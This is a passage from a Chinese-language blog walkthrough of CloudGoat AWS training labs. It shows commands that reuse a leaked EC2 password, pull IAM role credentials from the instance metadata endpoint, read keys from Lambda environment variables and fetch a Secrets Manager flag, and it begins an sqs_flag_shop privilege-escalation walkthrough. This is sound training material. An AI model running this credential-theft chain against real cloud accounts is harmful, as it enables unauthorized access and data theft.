class="string">"IyEvYmluL2Jhc2gKZWNobyAiZWMyLXVzZXI6Q2xvdWRHb2F0SW5zdGFuY2VQYXNzd29yZCEiIHwgY2hwYXNzd2QKc2VkIC1pICdzL1Bhc3N3b3JkQXV0aGVudGljYXRpb24gbm8vUGFzc3dvcmRBdXRoZW50aWNhdGlvbiB5ZXMvZycgL2V0Yy9zc2gvc3NoZF9jb25maWcKc2VydmljZSBzc2hkIHJlc3RhcnQK"</span></span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/Cloud-Security03/Cloud-Security03.assets/image-20260610141448447.png" alt="image-20260610141448447" loading="eager" decoding="async"></p><p>base64解码得到</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">"ec2-user:CloudGoatInstancePassword!"</span> | chpasswd</span><br><span class="line">sed -i <span class="string">'s/PasswordAuthentication no/PasswordAuthentication yes/g'</span> /etc/ssh/sshd_config</span><br><span class="line">service sshd restart</span><br><span class="line"></span><br></pre></td></tr></tbody></table></figure><p>通过实例得知他将密码改成了<code>ec2-user:CloudGoatInstancePassword!</code>，然后可以用这个密码和上面暴露的ip登录ssh</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh ec2-user@3.239.44.224</span><br></pre></td></tr></tbody></table></figure><p>一旦进入EC2实例，您就可以有效地访问附加到它的任何IAM角色。我们可以通过查询链接本地地址<code>169.254.169.254</code>来检索这些凭证。</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">curl http://169.254.169.254/latest/meta-data/iam/security-credentials/</span><br><span class="line"></span><br></pre></td></tr></tbody></table></figure><p>得到一个角色<code>cg-ec2-role-cgidvilqp7qpxs</code>，接下来检索该角色的凭据：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">curl http://169.254.169.254/latest/meta-data/iam/securi-cgidvilqp7qpxscg-ec2-role </span><br><span class="line"></span><br><span class="line">{</span><br><span class="line">  <span class="string">"Code"</span> : <span class="string">"Success"</span>,</span><br><span class="line">  <span class="string">"LastUpdated"</span> : <span class="string">"2026-06-10T06:34:08Z"</span>,</span><br><span class="line">  <span class="string">"Type"</span> : <span class="string">"AWS-HMAC"</span>,</span><br><span class="line">  <span class="string">"AccessKeyId"</span> : <span class="string">"ASIA****************"</span>,</span><br><span class="line">  <span class="string">"SecretAccessKey"</span> : <span class="string">"****************************************"</span>,</span><br><span class="line">  <span class="string">"Token"</span> : <span class="string">"********"</span>,</span><br><span class="line">  <span class="string">"Expiration"</span> : <span class="string">"2026-06-10T13:01:28Z"</span></span><br></pre></td></tr></tbody></table></figure><p>盗用这些信息在本地也配置一个用户</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">aws configure --profile ec2_role</span><br></pre></td></tr></tbody></table></figure><p>列举出这个<code>profile</code>下的函数</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">aws lambda list-functions --region us-east-1 --profile ec2_role</span><br><span class="line"></span><br><span class="line">{</span><br><span class="line">    <span class="string">"Functions"</span>: [</span><br><span class="line">        {</span><br><span class="line">            <span class="string">"FunctionName"</span>: <span class="string">"cg-lambda-function-cgidvilqp7qpxs"</span>,</span><br><span class="line">            <span class="string">"FunctionArn"</span>: <span class="string">"arn:aws:lambda:us-east-1:************:function:cg-lambda-function-cgidvilqp7qpxs"</span>,</span><br><span class="line">            <span class="string">"Runtime"</span>: <span class="string">"python3.9"</span>,</span><br><span class="line">            <span class="string">"Role"</span>: <span class="string">"arn:aws:iam::************:role/cg-lambda-exec-role-cgidvilqp7qpxs"</span>,</span><br><span class="line">            <span class="string">"Handler"</span>: <span class="string">"lambda_function.lambda_handler"</span>,</span><br><span class="line">            <span class="string">"CodeSize"</span>: 221,</span><br><span class="line">            <span class="string">"Description"</span>: <span class="string">""</span>,</span><br><span class="line">            <span class="string">"Timeout"</span>: 3,</span><br><span class="line">            <span class="string">"MemorySize"</span>: 128,</span><br><span class="line">            <span class="string">"LastModified"</span>: <span class="string">"2026-06-10T05:57:49.271+0000"</span>,</span><br><span class="line">            <span class="string">"CodeSha256"</span>: <span class="string">"J7+tACeZu8267g5XEXe/iTlv1Ip9wdtOr/IzHK/W9fc="</span>,</span><br><span class="line">            <span class="string">"Version"</span>: <span class="string">"<span class="variable">$LATEST</span>"</span>,</span><br><span class="line">            <span class="string">"Environment"</span>: {</span><br><span class="line">                <span class="string">"Variables"</span>: {</span><br><span class="line">                    <span class="string">"DB_USER_ACCESS_KEY"</span>: <span class="string">"AKIA****************"</span>,</span><br><span class="line">                    <span class="string">"DB_USER_SECRET_KEY"</span>: <span class="string">"****************************************"</span></span><br><span class="line">                }</span><br><span class="line">            },</span><br><span class="line">            <span class="string">"TracingConfig"</span>: {</span><br><span class="line">                <span class="string">"Mode"</span>: <span class="string">"PassThrough"</span></span><br><span class="line">            },</span><br><span class="line">            <span class="string">"RevisionId"</span>: <span class="string">"8ab7c2cb-5a81-4071-a0f9-27dcaf82054e"</span>,</span><br><span class="line">            <span class="string">"PackageType"</span>: <span class="string">"Zip"</span>,</span><br><span class="line">            <span class="string">"Architectures"</span>: [</span><br><span class="line">                <span class="string">"x86_64"</span></span><br><span class="line">            ],</span><br><span class="line">            <span class="string">"EphemeralStorage"</span>: {</span><br><span class="line">                <span class="string">"Size"</span>: 512</span><br><span class="line">            },</span><br><span class="line">            <span class="string">"SnapStart"</span>: {</span><br><span class="line">                <span class="string">"ApplyOn"</span>: <span class="string">"None"</span>,</span><br><span class="line">                <span class="string">"OptimizationStatus"</span>: <span class="string">"Off"</span></span><br><span class="line">            },</span><br><span class="line">            <span class="string">"LoggingConfig"</span>: {</span><br><span class="line">                <span class="string">"LogFormat"</span>: <span class="string">"Text"</span>,</span><br><span class="line">                <span class="string">"LogGroup"</span>: <span class="string">"/aws/lambda/cg-lambda-function-cgidvilqp7qpxs"</span></span><br><span class="line">            }</span><br><span class="line">        }</span><br><span class="line">    ]</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>开发人员经常不正确地将API密钥或数据库凭据存储在Lambda环境变量中。获取该函数的配置细节</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line">aws lambda get-function --function-name cg-lambda-function-cgidvilqp7qpxs --region us-east-1 --profile ec2_role</span><br><span class="line"></span><br><span class="line">{</span><br><span class="line">    <span class="string">"Configuration"</span>: {</span><br><span class="line">        <span class="string">"FunctionName"</span>: <span class="string">"cg-lambda-function-cgidvilqp7qpxs"</span>,</span><br><span class="line">        <span class="string">"FunctionArn"</span>: <span class="string">"arn:aws:lambda:us-east-1:************:function:cg-lambda-function-cgidvilqp7qpxs"</span>,</span><br><span class="line">        <span class="string">"Runtime"</span>: <span class="string">"python3.9"</span>,</span><br><span class="line">        <span class="string">"Role"</span>: <span class="string">"arn:aws:iam::************:role/cg-lambda-exec-role-cgidvilqp7qpxs"</span>,</span><br><span class="line">        <span class="string">"Handler"</span>: <span class="string">"lambda_function.lambda_handler"</span>,</span><br><span class="line">        <span class="string">"CodeSize"</span>: 221,</span><br><span class="line">        <span class="string">"Description"</span>: <span class="string">""</span>,</span><br><span class="line">        <span class="string">"Timeout"</span>: 3,</span><br><span class="line">        <span class="string">"MemorySize"</span>: 128,</span><br><span class="line">        <span class="string">"LastModified"</span>: <span class="string">"2026-06-10T05:57:49.271+0000"</span>,</span><br><span class="line">        <span class="string">"CodeSha256"</span>: <span class="string">"J7+tACeZu8267g5XEXe/iTlv1Ip9wdtOr/IzHK/W9fc="</span>,</span><br><span class="line">        <span class="string">"Version"</span>: <span class="string">"<span class="variable">$LATEST</span>"</span>,</span><br><span class="line">        <span class="string">"Environment"</span>: {</span><br><span class="line">            <span class="string">"Variables"</span>: {</span><br><span class="line">                <span class="string">"DB_USER_ACCESS_KEY"</span>: <span class="string">"AKIA****************"</span>,</span><br><span class="line">                <span class="string">"DB_USER_SECRET_KEY"</span>: <span class="string">"****************************************"</span></span><br><span class="line">            }</span><br><span class="line">        },</span><br><span class="line">        <span class="string">"TracingConfig"</span>: {</span><br><span class="line">            <span class="string">"Mode"</span>: <span class="string">"PassThrough"</span></span><br><span class="line">        },</span><br><span class="line">        <span class="string">"RevisionId"</span>: <span class="string">"8ab7c2cb-5a81-4071-a0f9-27dcaf82054e"</span>,</span><br><span class="line">        <span class="string">"State"</span>: <span class="string">"Active"</span>,</span><br><span class="line">        <span class="string">"LastUpdateStatus"</span>: <span class="string">"Successful"</span>,</span><br><span class="line">        <span class="string">"PackageType"</span>: <span class="string">"Zip"</span>,</span><br><span class="line">        <span class="string">"Architectures"</span>: [</span><br><span class="line">            <span class="string">"x86_64"</span></span><br><span class="line">        ],</span><br><span class="line">        <span class="string">"EphemeralStorage"</span>: {</span><br><span class="line">            <span class="string">"Size"</span>: 512</span><br><span class="line">        },</span><br><span class="line">        <span class="string">"SnapStart"</span>: {</span><br><span class="line">            <span class="string">"ApplyOn"</span>: <span class="string">"None"</span>,</span><br><span class="line">            <span class="string">"OptimizationStatus"</span>: <span class="string">"Off"</span></span><br><span class="line">        },</span><br><span class="line">        <span class="string">"RuntimeVersionConfig"</span>: {</span><br><span class="line">            <span class="string">"RuntimeVersionArn"</span>: <span class="string">"arn:aws:lambda:us-east-1::runtime:b46f7bc0f3da8071d1b824471f2c69c8766b756b827eb0455d2118c622ae7bcf"</span></span><br><span class="line">        },</span><br><span class="line">        <span class="string">"LoggingConfig"</span>: {</span><br><span class="line">            <span class="string">"LogFormat"</span>: <span class="string">"Text"</span>,</span><br><span class="line">            <span class="string">"LogGroup"</span>: <span class="string">"/aws/lambda/cg-lambda-function-cgidvilqp7qpxs"</span></span><br><span class="line">        }</span><br><span class="line">    },</span><br><span class="line">    <span class="string">"Code"</span>: {</span><br><span class="line">        <span class="string">"RepositoryType"</span>: <span class="string">"S3"</span>,</span><br><span class="line">        <span class="string">"Location"</span>: <span class="string">"https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/************/cg-lambda-function-cgidvilqp7qpxs-35922ecb-916c-410c-9d02-34c6bf762f3c?versionId=y9iclg5EVyF1y.LWcCBRikGsNSIw23q7&amp;X-Amz-Security-Token=****&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Date=20260610T065312Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=600&amp;X-Amz-Credential=****&amp;X-Amz-Signature=****"</span></span><br><span class="line">    },</span><br><span class="line">    <span class="string">"Tags"</span>: {</span><br><span class="line">        <span class="string">"Name"</span>: <span class="string">"cg-lambda-cgidvilqp7qpxs"</span>,</span><br><span class="line">        <span class="string">"Scenario"</span>: <span class="string">"scenario_template"</span>,</span><br><span class="line">        <span class="string">"Stack"</span>: <span class="string">"CloudGoat"</span></span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>在返回的json中发现</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">"Variables"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">                <span class="attr">"DB_USER_ACCESS_KEY"</span><span class="punctuation">:</span> <span class="string">"AKIA****************"</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">"DB_USER_SECRET_KEY"</span><span class="punctuation">:</span> <span class="string">"****************************************"</span></span><br><span class="line">            <span class="punctuation">}</span></span><br></pre></td></tr></tbody></table></figure><p>登录</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">aws configure --profile lambda_user</span><br></pre></td></tr></tbody></table></figure><p>列出数据</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">ubuntu@ip-172-31-37-19:~$ aws secretsmanager list-secrets --region us-east-1 --profile lambda_user</span><br><span class="line">{</span><br><span class="line">    <span class="string">"SecretList"</span>: [</span><br><span class="line">        {</span><br><span class="line">            <span class="string">"ARN"</span>: <span class="string">"arn:aws:secretsmanager:us-east-1:************:secret:cg-final-flag-cgidvilqp7qpxs-SqUBJC"</span>,</span><br><span class="line">            <span class="string">"Name"</span>: <span class="string">"cg-final-flag-cgidvilqp7qpxs"</span>,</span><br><span class="line">            <span class="string">"Description"</span>: <span class="string">"The final flag for the CloudGoat scenario"</span>,</span><br><span class="line">            <span class="string">"LastChangedDate"</span>: <span class="string">"2026-06-10T05:57:43.723000+00:00"</span>,</span><br><span class="line">            <span class="string">"LastAccessedDate"</span>: <span class="string">"2026-06-10T00:00:00+00:00"</span>,</span><br><span class="line">            <span class="string">"Tags"</span>: [</span><br><span class="line">                {</span><br><span class="line">                    <span class="string">"Key"</span>: <span class="string">"Stack"</span>,</span><br><span class="line">                    <span class="string">"Value"</span>: <span class="string">"CloudGoat"</span></span><br><span class="line">                },</span><br><span class="line">                {</span><br><span class="line">                    <span class="string">"Key"</span>: <span class="string">"Name"</span>,</span><br><span class="line">                    <span class="string">"Value"</span>: <span class="string">"cg-final-flag-cgidvilqp7qpxs"</span></span><br><span class="line">                },</span><br><span class="line">                {</span><br><span class="line">                    <span class="string">"Key"</span>: <span class="string">"Scenario"</span>,</span><br><span class="line">                    <span class="string">"Value"</span>: <span class="string">"scenario_template"</span></span><br><span class="line">                }</span><br><span class="line">            ],</span><br><span class="line">            <span class="string">"SecretVersionsToStages"</span>: {</span><br><span class="line">                <span class="string">"terraform-20260610055743330600000002"</span>: [</span><br><span class="line">                    <span class="string">"AWSCURRENT"</span></span><br><span class="line">                ]</span><br><span class="line">            },</span><br><span class="line">            <span class="string">"CreatedDate"</span>: <span class="string">"2026-06-10T05:57:42.426000+00:00"</span></span><br><span class="line">        }</span><br><span class="line">    ]</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>找到flag了</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">ubuntu@ip-172-31-37-19:~$ aws secretsmanager get-secret-value --secret-id cg-final-flag-cgidvilqp7qpxs --regi</span><br><span class="line">on us-east-1 --profile lambda_user</span><br><span class="line">{</span><br><span class="line">    <span class="string">"ARN"</span>: <span class="string">"arn:aws:secretsmanager:us-east-1:************:secret:cg-final-flag-cgidvilqp7qpxs-SqUBJC"</span>,</span><br><span class="line">    <span class="string">"Name"</span>: <span class="string">"cg-final-flag-cgidvilqp7qpxs"</span>,</span><br><span class="line">    <span class="string">"VersionId"</span>: <span class="string">"terraform-20260610055743330600000002"</span>,</span><br><span class="line">    <span class="string">"SecretString"</span>: <span class="string">"{\"flag\":\"d4t4_s3cr3ts_4r3_fun\"}"</span>,</span><br><span class="line">    <span class="string">"VersionStages"</span>: [</span><br><span class="line">        <span class="string">"AWSCURRENT"</span></span><br><span class="line">    ],</span><br><span class="line">    <span class="string">"CreatedDate"</span>: <span class="string">"2026-06-10T05:57:43.718000+00:00"</span></span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>暂时搁置，要不然期末要挂科了</p><hr><p>恢复复更新，虽然还是挂科了，网络安全我阐述你的梦，没有网安专业整这种比背诵课作甚</p><h3 id="sqs-flag-shop-Easy"><a href="#sqs-flag-shop-Easy" class="headerlink" title="sqs_flag_shop (Easy)"></a>sqs_flag_shop (Easy)</h3><blockquote><p>首先，从 SHOP 页面开始，在那里你可以购买 FLAG。该网站包含多个页面，你可以看到源代码是公开的。攻击者会分析代码以寻找漏洞，并利用其权限来购买 FLAG。</p></blockquote><p>开启靶场</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cloudgoat create sqs_flag_shop</span><br></pre></td></tr></tbody></table></figure><p>为什么我打不开网址，不管了，假装我打开了，直接开始云上打击</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ aws --profile sqs_user sts get-caller-identity</span><br><span class="line"></span><br><span class="line">{</span><br><span class="line">    <span class="string">"UserId"</span>: <span class="string">"XXXXXXXXXXXXXXXXXXZF4"</span>,</span><br><span class="line">    <span class="string">"Account"</span>: <span class="string">"XXXXXXXXXXXX"</span>,</span><br><span class="line">    <span class="string">"Arn"</span>: <span class="string">"arn:aws:iam::XXXXXXXX:user/cg-sqs-user-sqs_flag_shop_cgidbXXXXXXXXX"</span> </span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h4 id="关于ARN"><a href="#关于ARN" class="headerlink" title="关于ARN"></a>关于ARN</h4><p><strong>ARN（Amazon Resource Name，亚马逊资源名称）</strong> 是 AWS 中每个资源的<strong>唯一标识符</strong>，可以理解为资源的“身份证号”。当你需要在策略、API调用或标签中明确指定某个资源时，就必须使用ARN</p><p>ARN的格式遵循一个通用模板，但具体细节会因资源类型而异。它的基本结构如下：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">arn:partition:service:region:account-id:resource</span><br></pre></td></tr></tbody></table></figure><p>你可以把它想象成一个有6个部分的地址，每个部分都指明了资源在AWS世界中的位置。</p><table><thead><tr><th align="left">组成部分</th><th align="left">说明</th><th align="left">示例</th></tr></thead><tbody><tr><td align="left"><strong><code>arn</code></strong></td><td align="left"><strong>前缀</strong>。固定以 <code>arn</code> 开头，表明这是一个亚马逊资源名称。</td><td align="left"><code>arn</code></td></tr><tr><td align="left"><strong><code>partition</code></strong></td><td align="left"><strong>分区</strong>。资源所在的<strong>大区</strong>。标准区域是 <code>aws</code>，中国区域是 <code>aws-cn</code>，AWS GovCloud (US) 是 <code>aws-us-gov</code>。</td><td align="left"><code>aws</code></td></tr><tr><td align="left"><strong><code>service</code></strong></td><td align="left"><strong>服务</strong>。资源所属的AWS服务命名空间，如 <code>iam</code>、<code>s3</code>、<code>ec2</code>、<code>rds</code> 等。</td><td align="left"><code>s3</code></td></tr><tr><td align="left"><strong><code>region</code></strong></td><td align="left"><strong>区域</strong>。资源所在的AWS区域代码，如 <code>us-east-1</code>。<strong>注意</strong>：部分全球性服务（如IAM）或资源（如S3存储桶）的ARN可能会省略此项。</td><td align="left"><code>us-west-2</code></td></tr><tr><td align="left"><strong><code>account-id</code></strong></td><td align="left"><strong>账户ID</strong>。拥有该资源的AWS账户ID（不含连字符），如 <code>123456789012</code>。同样，某些资源可能会省略此项。</td><td align="left"><code>123456789012</code></td></tr><tr><td align="left"><strong><code>resource</code></strong></td><td align="left"><strong>资源标识</strong>。最后一部分，用于唯一标识资源本身。它可以是资源的<strong>ID、名称或路径</strong>，格式多样。</td><td align="left">用户 <code>user/Bob</code> VPC <code>vpc/vpc-0e9801d129EXAMPLE</code> S3对象 <code>bucket-name/file.txt</code></td></tr></tbody></table><p>ARN最重要的用途是在 <strong>IAM 权限策略</strong> 中，通过 <code>Resource</code> 元素来精确控制可以访问哪个资源。</p><ul><li><strong>精确指定</strong>：<code>"Resource": "arn:aws:s3:::example-bucket"</code> 只允许访问名为 <code>example-bucket</code> 的存储桶。</li><li><strong>通配符使用</strong>：使用 <code>*</code> 和 <code>?</code> 通配符，可以匹配多个资源。例如，<code>"Resource": "arn:aws:s3:::example-bucket/*"</code> 可以匹配该存储桶内的所有对象</li></ul><p><strong>列举用户策略</strong></p><p>AWS 策略用于定义身份和资源的权限。看看我们的用户关联那些策略</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ aws --profile sqs_user iam list-user-policies --user-name cg-sqs-user-cgid53u6q7pmic</span><br><span class="line"></span><br><span class="line">{</span><br><span class="line">    <span class="string">"PolicyNames"</span>: [</span><br><span class="line">        <span class="string">"cg-sqs-scenario-assumed-role"</span></span><br><span class="line">    ]</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>该用户有一个附加策略。看看内容</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">$ aws --profile sqs_user iam get-user-policy --user-name cg-sqs-user-cgid53u6q7pmic --policy-name cg-sqs-scenario-assumed-role</span><br><span class="line"></span><br><span class="line">{</span><br><span class="line">    <span class="string">"UserName"</span>: <span class="string">"cg-sqs-user-cgid53u6q7pmic"</span>,</span><br><span class="line">    <span class="string">"PolicyName"</span>: <span class="string">"cg-sqs-scenario-assumed-role"</span>,</span><br><span class="line">    <span class="string">"PolicyDocument"</span>: {</span><br><span class="line">        <span class="string">"Version"</span>: <span class="string">"2012-10-17"</span>,</span><br><span class="line">        <span class="string">"Statement"</span>: [</span><br><span class="line">            {</span><br><span class="line">                <span class="string">"Action"</span>: [</span><br><span class="line">                    <span class="string">"iam:Get*"</span>,</span><br><span class="line">                    <span class="string">"iam:List*"</span></span><br><span class="line">                ],</span><br><span class="line">                <span class="string">"Effect"</span>: <span class="string">"Allow"</span>,</span><br><span class="line">                <span class="string">"Resource"</span>: <span class="string">"*"</span></span><br><span class="line">            },</span><br><span class="line">            {</span><br><span class="line">                <span class="string">"Action"</span>: <span class="string">"sts:AssumeRole"</span>,</span><br><span class="line">                <span class="string">"Effect"</span>: <span class="string">"Allow"</span>,</span><br><span class="line">                <span class="string">"Resource"</span>: <span class="string">"arn:aws:iam::************:role/cg-sqs-send-message-cgid53u6q7pmic"</span></span><br><span class="line">            }</span><br><span class="line">        ]</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>仔细看看这个策略</p><blockquote><p>{<br>                “Action”: [<br>                    “iam:Get*”,<br>                    “iam:List*”<br>                ],<br>                “Effect”: “Allow”,<br>                “Resource”: “*”<br>            },</p></blockquote><p>允许所有的<code>Get*</code>和<code>List*</code>操作，且对所有用户生效</p><blockquote><p>{<br>                “Action”: “sts:AssumeRole”,<br>                “Effect”: “Allow”,<br>                “Resource”: “arn:aws:iam::************:role/“<br>            }</p></blockquote><p>允许用户扮演（Assume）指定的 IAM 角色，这个就是越权的关键，如果这个可扮演的IAM具有更高的权限就可以通过扮演他来实现越权</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ aws --profile sqs_user iam list-role-policies --role-name cg-sqs-send-message-cgid53u6q7pmic</span><br><span class="line"></span><br><span class="line">{</span><br><span class="line">    <span class="string">"PolicyNames"</span>: [</span><br><span class="line">        <span class="string">"cg-sqs"</span></span><br><span class="line">    ]</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>附带一个policy，检查一下内容</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">$ aws --profile sqs_user iam get-role-policy --role-name cg-sqs-send-message-cgid53u6q7pmic --policy-name cg-sqs</span><br><span class="line"></span><br><span class="line">{</span><br><span class="line">    <span class="string">"RoleName"</span>: <span class="string">"cg-sqs-send-message-cgid53u6q7pmic"</span>,</span><br><span class="line">    <span class="string">"PolicyName"</span>: <span class="string">"cg-sqs"</span>,</span><br><span class="line">    <span class="string">"PolicyDocument"</span>: {</span><br><span class="line">        <span class="string">"Version"</span>: <span class="string">"2012-10-17"</span>,</span><br><span class="line">        <span class="string">"Statement"</span>: [</span><br><span class="line">            {</span><br><span class="line">                <span class="string">"Action"</span>: [</span><br><span class="line">                    <span class="string">"sqs:GetQueueUrl"</span>,</span><br><span class="line">                    <span class="string">"sqs:SendMessage"</span></span><br><span class="line">                ],</span><br><span class="line">                <span class="string">"Effect"</span>: <span class="string">"Allow"</span>,</span><br><span class="line">                <span class="string">"Resource"</span>: <span class="string">"arn:aws:sqs:us-east-1:************:cash_charging_queue"</span></span><br><span class="line">            }</span><br><span class="line">        ]</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><table><thead><tr><th align="left">操作</th><th align="left">说明</th><th align="left">用途</th></tr></thead><tbody><tr><td align="left"><strong><code>sqs:GetQueueUrl</code></strong></td><td align="left">获取队列的 URL 地址</td><td align="left">需要先知道队列 URL 才能发送消息</td></tr><tr><td align="left"><strong><code>sqs:SendMessage</code></strong></td><td align="left">向队列发送消息</td><td align="left">核心功能，向队列写入数据</td></tr></tbody></table><h4 id="关于SQS"><a href="#关于SQS" class="headerlink" title="关于SQS"></a>关于SQS</h4><p><strong>Amazon Simple Queue Service (Amazon SQS)</strong> 